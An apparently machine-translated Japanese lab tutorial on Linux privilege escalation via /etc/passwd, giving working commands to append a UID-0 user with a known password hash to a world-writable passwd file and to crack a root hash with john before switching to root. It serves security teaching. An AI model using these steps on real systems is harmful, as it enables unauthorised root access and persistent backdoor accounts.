Nmap の/etc/passwd ファイルを利用した特権昇格の検証

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

/etc/passwd/etc/shadow ファイルは、Linux システムにおけるユーザー認証にとって重要です。システム管理者がこれらのファイルの内容やパーミッションを誤って設定すると、特権昇格の脆弱性につながる可能性があります。この実験では、/etc/passwd ファイルを悪用した特権昇格の方法を探ります。


Skills Graph

/etc/passwd ファイルの理解

このステップでは、/etc/passwd ファイルの構造と意味を探ります。

Linux システムでは、ユーザーのパスワード情報は /etc/passwd/etc/shadow の 2 つのファイルに格納されています。/etc/passwd ファイルにはユーザー情報が含まれており、各行が 1 つのユーザーアカウントを表しています。各行はコロンで区切られた 7 つのフィールドに分かれています。

  • ユーザー名
  • パスワード(x に設定されている場合、パスワードは /etc/shadow に格納されています)
  • ユーザー ID (UID、ルートユーザーは 0)
  • グループ ID (GID)
  • ユーザー情報(フルネーム、部屋番号、勤務先電話番号、自宅電話番号など)
  • ホームディレクトリ
  • デフォルトシェル

次に、ターミナルを開き、/home/labex/project ディレクトリに移動して次のステップに進みます。

cd /home/labex/project

/etc/passwd ファイルから labex ユーザーの情報を取得し、/home/labex/project ディレクトリに labex_passwd.txt という名前のファイルに保存します。

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

labex_passwd.txt ファイルの内容を確認します。

cat labex_passwd.txt

期待される出力:

labex:x:5000:5000::/home/labex:/usr/bin/zsh

各フィールドの意味は次の通りです。

  • ユーザー名:test-user
  • パスワード:/etc/shadow に格納されています(x で示されます)
  • UID: 5000
  • GID: 5000
  • ユーザー情報:この場合は空です
  • ホームディレクトリ:/home/labex
  • デフォルトシェル:/usr/bin/zsh

Linux の認証プロセスでは、次の手順が行われます。

  1. 入力されたユーザー名が /etc/passwd ファイルの各行の最初のフィールドと照合されます。
  2. 一致するものが見つかった場合、2 番目のフィールドのパスワードが比較されます。
  3. 認証に成功すると、ユーザーの権限は UID(3 番目のフィールド)と GID(4 番目のフィールド)によって決定されます。
  4. 重要なのは、UID が 0 の場合はルートユーザーを表し、ユーザー名に関係なく完全な管理権限が付与されます。

このように、/etc/passwd ファイルは Linux の認証プロセスにおいて重要な役割を果たしています。攻撃者がこのファイルを変更できる場合、不正アクセスを行い、特権を昇格させる可能性があります。

/etc/passwd の書き込みアクセスによる特権昇格

このステップでは、/etc/passwd ファイルへの書き込みアクセスを悪用して特権を昇格させる方法を学びます。

  1. まず、実験環境をセットアップしましょう。ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    次のコマンドを実行して、実験環境をセットアップします。

    ./env_setup1.sh

    このコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。

  2. セットアップが完了すると、user001 ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。

    user001 ユーザーのホームディレクトリに移動します。

    cd ~

    whoami コマンドを使用して、現在のユーザーを確認します。

    whoami

    期待される出力:

    user001

    id コマンドを使用して、ユーザー ID とグループ ID を表示します。

    id

    期待される出力:

    uid=1001(user001) gid=1001(user001) groups=1001(user001)

    このように、あなたは特別な特権のない通常のユーザーです。

  3. 次に、/etc/passwd/etc/shadow ファイルのパーミッションを確認します。

    ls -l /etc/passwd /etc/shadow

    期待される出力:

    --wx--xrwx 1 root root    1961 Apr  5 00:21 /etc/passwd
    -rw-r----- 1 root user001 1101 Apr  5 00:21 /etc/shadow

    /etc/passwd ファイルには、すべてのユーザーに対して 実行書き込み の権限 (--wx--xrwx) があります。これは、システム管理者による 誤設定 です。

私たちの目標は、/etc/passwd ファイルに、カスタムのユーザー名、パスワード、および UID が 0(ルート)の新しいユーザーエントリを作成することです。これにより、ルートユーザーとしてログインできるようになります。

  1. まず、/etc/passwd ファイル内のルートユーザーのエントリの形式を調べましょう。これを new_user_entry.txt という名前の新しいファイルに抽出します。

    cat /etc/passwd | grep root > new_user_entry.txt

    cat コマンドを使用して new_user_entry.txt ファイルの内容を表示したときの期待される出力:

    root:x:0:0:root:/root:/bin/bash
  2. 独自のエントリを作成するために、new_user_entry.txt ファイル内のユーザー名を root から任意の名前、たとえば new-user に変更します。

    new-user:x:0:0:root:/root:/bin/bash
  3. 2 番目のフィールドの x を暗号化されたパスワードハッシュに置き換えます。openssl ツールを使用して、パスワード(例:pass123)のハッシュを生成できます。

    openssl passwd -1 -salt ignite pass123

    期待される出力:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

    new_user_entry.txt ファイルの 2 番目のフィールドにハッシュを代入します。

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  4. この行を /etc/passwd ファイルに追加します。

    echo "$(cat new_user_entry.txt)" >> /etc/passwd

    注意:/etc/passwd ファイルにはすべてのユーザーに対して書き込み権限があるため、新しいエントリを追加できます。実際のシナリオでは、通常のユーザーにこのファイルの書き込み権限を与えるべきではありません。

  5. /etc/passwd ファイル内で new-user を検索して、新しいエントリを確認します。

    cat /etc/passwd | grep new-user

    期待される出力:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  6. 最後に、パスワード pass123new-user ユーザーに切り替えます。

    su new-user

    パスワードを求められたら、pass123 を入力します。プロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。

    user001@660ecfa4d7612c798ef141ab:~$ su new-user
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

/etc/passwd のパスワードハッシュによる特権昇格

このステップでは、ルートユーザーのパスワードハッシュが /etc/shadow ファイルではなく /etc/passwd ファイルに格納されている場合に、特権を昇格させる方法を学びます。

  1. まず、実験環境をセットアップしましょう。ターミナルを開き、/home/labex/project ディレクトリに移動します。

    もしまだ new-user としている場合は、exit コマンドを使って現在のシェルを抜け、labex シェルに戻ってから、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    次のコマンドを実行して、実験環境をセットアップします。

    ./env_setup2.sh

    このコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。

  2. セットアップが完了すると、user001 ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。

    user001 ユーザーのホームディレクトリに移動します。

    cd ~
  3. /etc/passwd/etc/shadow ファイルのパーミッションを確認します。

    ls -l /etc/passwd /etc/shadow
    -rw-r--r-- 1 root root 2059 Apr  5 01:36 /etc/passwd
    -rw-r----- 1 root root 1101 Apr  5 00:21 /etc/shadow

    今回は、ファイルのパーミッションが 正しく 設定されており、/etc/passwd ファイルには読み取りアクセスのみが許可されています。

  4. /etc/passwd ファイルの内容を表示して、ルートユーザーのパスワードハッシュを見つけます。

    cat /etc/passwd | grep ^root > ~/hash.txt

    次のコマンドを実行して、hash.txt ファイルの内容を確認します。

    cat ~/hash.txt

    期待される出力:

    root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

    ルートユーザーのパスワードハッシュが /etc/passwd ファイルの 2 番目のフィールドに格納されていることに注意してください。これは通常、以前のシステム侵害やシステム管理者による 誤設定 の結果です。

  5. 次に、john を実行してハッシュをクラックします。

    john ~/hash.txt > ~/cracked.txt

    john は、辞書攻撃を使ってパスワードハッシュをクラックする人気のあるパスワードクラッキングツールです。出力は、パスワードが正常にクラックされたかどうかを示します。

    Created directory: /home/user001/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    cracked.txt ファイルの内容を確認して、クラックされたパスワードを表示します。

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    hello            (root)

    このように、john はパスワードを正常にクラックしました。パスワードは hello です。

  6. su コマンドを使ってルートユーザーに切り替え、パスワードを求められたらクラックしたパスワードを入力します。

    su root

    パスワードを求められたら、hello を入力します。コマンドプロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。

    user001@660ecfa4d7612c798ef141ab:~$ su root
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

まとめ

この実験では、Linux のユーザー認証プロセス、/etc/passwd ファイルの重要性、およびそれを利用した特権昇格の方法を学びました。以下の 2 つのシナリオを扱いました。(1) /etc/passwd ファイルに書き込み権限があり、ルート特権を持つ新しいユーザーエントリを作成できる場合。(2) ルートユーザーのパスワードハッシュが /etc/passwd ファイルに格納されており、john ツールを使用してパスワードをクラックできる場合。実践を通じて、/etc/passwd ファイルの誤設定を利用して Linux システムで特権を昇格させる方法について深い理解を得ました。